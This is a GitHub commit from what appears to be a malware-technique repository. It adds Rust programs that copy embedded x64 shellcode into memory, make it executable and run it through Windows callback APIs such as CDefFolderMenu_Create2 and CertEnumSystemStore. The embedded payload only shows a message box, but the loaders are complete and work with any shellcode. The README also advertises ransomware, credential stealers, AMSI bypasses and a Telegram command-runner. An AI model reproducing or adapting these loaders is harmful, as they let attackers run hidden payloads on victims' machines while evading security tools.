Skip to content

Commit 7486409

Browse files
Whitecat18Whitecat18
committed
Repository Update and new PoC of Executing shellcode
1 parent 202a1db commit 7486409

File tree

15 files changed

+1221
-0
lines changed

15 files changed

+1221
-0
lines changed

‎README.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,7 @@
7979
| [Rand_Fill](Malware_Tips/rand_fill) | Deletes files and fills disk with random bytes. |
8080
| [Encryfer-X](Malware-Samples/Encryfer/Encryfer-X) | Ransomware combining multiple PoC techniques. |
8181
| [GitHub Stealers](stealer/GitHub_API) | Steal credentials using GitHub API. |
82+
| [Telegram Operator](stealer/Telegram%20Operator/) | Telegram Operator to Run EXEs and executes Commands |
8283
| [AMSI Byapss Techniques](AMSI%20BYPASS) | AMSI Bypass Techniques. |
8384
| [ManulaRsrcDataFetching](ManualRsrcDataFetching) | function to replace FindResource & LoadResource & LockResource & SizeofResource windows apis. |
8485
| [Anti-VM CPU Fan Detection](Evasion/CPU_FAN_DETECTION) | Find if the system has CPU FAN. Works only on PC. |

‎shellcode_exec/CDefFolderMenu_Create2/Cargo.toml‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
[package]
2+
name = "CDefFolderMenu_Create2"
3+
version = "0.1.0"
4+
edition = "2024"
5+
authors = ["@5mukx"]
6+
7+
[dependencies]
8+
9+
[dependencies.windows-sys]
10+
version = "0.61.2"
11+
features = [
12+
"Win32_Foundation",
13+
"Win32_System_Threading",
14+
"Win32_System_Memory",
15+
"Win32_Security",
16+
"Win32_Storage_FileSystem",
17+
"Win32_System_Diagnostics_Debug",
18+
"Win32_System_LibraryLoader",
19+
"Win32_Security_Cryptography",
20+
"Win32_System_Com",
21+
"Win32_System_Registry",
22+
"Win32_UI_Shell_Common"
23+
]

‎shellcode_exec/CDefFolderMenu_Create2/src/main.rs‎

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
// Source:
2+
// -> https://malwaresourcecode.com/home/shellcode-execution/cdeffoldermenu_create2
3+
//
4+
// @5mukx
5+
6+
7+
use std::mem::transmute;
8+
use std::os::raw::c_void;
9+
use std::ptr::null_mut;
10+
11+
use windows_sys::Win32::System::Com::{COINIT_APARTMENTTHREADED, CoInitializeEx};
12+
use windows_sys::Win32::System::Memory::{
13+
PAGE_EXECUTE_READ, PAGE_READWRITE, VirtualAlloc, VirtualProtect,
14+
};
15+
use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject};
16+
use windows_sys::Win32::UI::Shell::{CDefFolderMenu_Create2, LPFNDFMCALLBACK};
17+
18+
pub const SHELLCODE: &[u8] = &[
19+
0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
20+
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
21+
0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
22+
0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
23+
0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
24+
0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
25+
0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
26+
0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
27+
0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
28+
0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
29+
0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
30+
0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
31+
0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
32+
0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
33+
0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
34+
0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
35+
0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
36+
0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
37+
0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
38+
0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
39+
0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
40+
];
41+
42+
extern "system" fn invoke_cdeffoldermenu_create2(param: *mut c_void) -> u32 {
43+
unsafe { CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED as u32) };
44+
45+
let callback: LPFNDFMCALLBACK = unsafe { Some(transmute(param)) };
46+
let mut ppcm: *mut std::ffi::c_void = null_mut();
47+
48+
unsafe {
49+
CDefFolderMenu_Create2(
50+
null_mut(), // pidlFolder
51+
null_mut(), // hwnd
52+
0, // cidl
53+
null_mut(), // apidl
54+
null_mut(), // psf
55+
callback,
56+
0, // nKeys
57+
null_mut(), // ahkeys
58+
&mut ppcm,
59+
)
60+
};
61+
62+
0
63+
}
64+
65+
fn main() {
66+
67+
let addr = unsafe {
68+
VirtualAlloc(
69+
null_mut(),
70+
SHELLCODE.len(),
71+
0x3000,
72+
PAGE_READWRITE,
73+
)
74+
};
75+
76+
if addr.is_null() {
77+
return;
78+
}
79+
80+
unsafe { std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len()) };
81+
82+
let mut old_protect: u32 = 0;
83+
84+
if unsafe { VirtualProtect(addr, SHELLCODE.len(), PAGE_EXECUTE_READ, &mut old_protect) } == 0 {
85+
return;
86+
}
87+
88+
let thread = unsafe {
89+
CreateThread(
90+
null_mut(),
91+
0,
92+
Some(invoke_cdeffoldermenu_create2),
93+
addr,
94+
0,
95+
null_mut(),
96+
)
97+
};
98+
99+
if !thread.is_null() {
100+
unsafe { WaitForSingleObject(thread, 0xFFFFFFFF) };
101+
}
102+
103+
unsafe { WaitForSingleObject(null_mut(), 0xFFFFFFFF) };
104+
}

‎shellcode_exec/CertEnumSystemStore/Cargo.toml‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
[package]
2+
name = "CertEnumSystemStore"
3+
version = "0.1.0"
4+
edition = "2024"
5+
authors = ["@5mukx"]
6+
7+
[dependencies]
8+
9+
[dependencies.windows-sys]
10+
version = "0.61.2"
11+
features = [
12+
"Win32_Foundation",
13+
"Win32_System_Threading",
14+
"Win32_System_Memory",
15+
"Win32_Security",
16+
"Win32_Storage_FileSystem",
17+
"Win32_System_Diagnostics_Debug",
18+
"Win32_System_LibraryLoader",
19+
"Win32_Security_Cryptography",
20+
"Win32_System_Com",
21+
"Win32_System_Registry",
22+
"Win32_UI_Shell_Common"
23+
]

‎shellcode_exec/CertEnumSystemStore/src/main.rs‎

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
use std::mem::transmute;
2+
use std::ptr::null_mut;
3+
4+
use windows_sys::Win32::Security::Cryptography::{
5+
CERT_SYSTEM_STORE_CURRENT_USER, CertEnumSystemStore, PFN_CERT_ENUM_SYSTEM_STORE,
6+
};
7+
use windows_sys::Win32::System::Memory::{
8+
VirtualAlloc, VirtualProtect,
9+
};
10+
11+
use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject};
12+
13+
pub const SHELLCODE: &[u8] = &[
14+
0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
15+
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
16+
0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
17+
0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
18+
0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
19+
0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
20+
0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
21+
0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
22+
0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
23+
0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
24+
0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
25+
0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
26+
0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
27+
0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
28+
0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
29+
0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
30+
0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
31+
0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
32+
0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
33+
0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
34+
0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
35+
];
36+
37+
extern "system" fn invoke_cert_enum_system_store(param: *mut std::ffi::c_void) -> u32 {
38+
let callback: PFN_CERT_ENUM_SYSTEM_STORE = unsafe { Some(transmute(param)) };
39+
40+
unsafe {
41+
CertEnumSystemStore(
42+
CERT_SYSTEM_STORE_CURRENT_USER,
43+
null_mut(),
44+
null_mut(),
45+
callback,
46+
)
47+
};
48+
49+
0
50+
}
51+
52+
fn main() {
53+
54+
let addr = unsafe {
55+
VirtualAlloc(
56+
null_mut(),
57+
SHELLCODE.len(),
58+
0x3000,
59+
0x4,
60+
)
61+
};
62+
63+
if addr.is_null() {
64+
return;
65+
}
66+
67+
unsafe {
68+
std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len())
69+
};
70+
71+
let mut old_protect: u32 = 0;
72+
if unsafe { VirtualProtect(addr, SHELLCODE.len(), 0x20, &mut old_protect) } == 0 {
73+
return;
74+
}
75+
76+
let thread = unsafe {
77+
CreateThread(
78+
null_mut(),
79+
0,
80+
Some(invoke_cert_enum_system_store),
81+
addr,
82+
0,
83+
null_mut(),
84+
)
85+
};
86+
87+
if !thread.is_null() {
88+
unsafe { WaitForSingleObject(thread, 0xFFFFFFFF) };
89+
}
90+
91+
unsafe { WaitForSingleObject(null_mut(), 0xFFFFFFFF) };
92+
}

‎shellcode_exec/CertEnumSystemStoreLocation/Cargo.toml‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
[package]
2+
name = "CertEnumSystemStoreLocation"
3+
version = "0.1.0"
4+
edition = "2024"
5+
authors = ["@5mukx"]
6+
7+
[dependencies]
8+
9+
[dependencies.windows-sys]
10+
version = "0.61.2"
11+
features = [
12+
"Win32_Foundation",
13+
"Win32_System_Threading",
14+
"Win32_System_Memory",
15+
"Win32_Security",
16+
"Win32_Storage_FileSystem",
17+
"Win32_System_Diagnostics_Debug",
18+
"Win32_System_LibraryLoader",
19+
"Win32_Security_Cryptography"
20+
]

‎shellcode_exec/CertEnumSystemStoreLocation/src/main.rs‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
// Source:
2+
// https://malwaresourcecode.com/home/shellcode-execution/certenumsystemstorelocation
3+
4+
// @5mukx
5+
6+
use std::mem::transmute;
7+
8+
use std::ptr::null_mut;
9+
10+
use windows_sys::Win32::Security::Cryptography::{
11+
CertEnumSystemStoreLocation, PFN_CERT_ENUM_SYSTEM_STORE_LOCATION,
12+
};
13+
14+
use windows_sys::Win32::System::Memory::{
15+
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, VirtualAlloc, VirtualProtect,
16+
};
17+
18+
use windows_sys::Win32::System::Threading::WaitForSingleObject;
19+
20+
pub const SHELLCODE: &[u8] = &[
21+
0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
22+
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
23+
0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
24+
0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
25+
0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
26+
0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
27+
0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
28+
0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
29+
0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
30+
0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
31+
0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
32+
0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
33+
0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
34+
0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
35+
0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
36+
0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
37+
0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
38+
0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
39+
0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
40+
0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
41+
0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
42+
];
43+
44+
fn main() {
45+
let addr = unsafe {
46+
VirtualAlloc(
47+
null_mut(),
48+
SHELLCODE.len(),
49+
MEM_COMMIT | MEM_RESERVE,
50+
PAGE_READWRITE,
51+
)
52+
};
53+
54+
if addr.is_null() {
55+
return;
56+
}
57+
58+
unsafe { std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len()) };
59+
60+
let mut old_protect: u32 = 0;
61+
if unsafe { VirtualProtect(addr, SHELLCODE.len(), PAGE_EXECUTE_READ, &mut old_protect) } == 0 {
62+
return;
63+
}
64+
65+
let callback: PFN_CERT_ENUM_SYSTEM_STORE_LOCATION = unsafe { Some(transmute(addr)) };
66+
67+
unsafe { CertEnumSystemStoreLocation(0, null_mut(), callback) };
68+
69+
unsafe {
70+
WaitForSingleObject(null_mut(), 0xFFFFFFFF);
71+
}
72+
}

‎shellcode_exec/CopyFileExW/Cargo.toml‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
[package]
2+
name = "CopyFileExW"
3+
version = "0.1.0"
4+
edition = "2024"
5+
authors = ["@5mukx"]
6+
7+
[dependencies]
8+
9+
[dependencies.windows-sys]
10+
version = "0.61.2"
11+
features = [
12+
"Win32_Foundation",
13+
"Win32_System_Threading",
14+
"Win32_System_Memory",
15+
"Win32_Security",
16+
"Win32_Storage_FileSystem",
17+
"Win32_System_Diagnostics_Debug",
18+
"Win32_System_LibraryLoader",
19+
]

0 commit comments

Comments
 (0)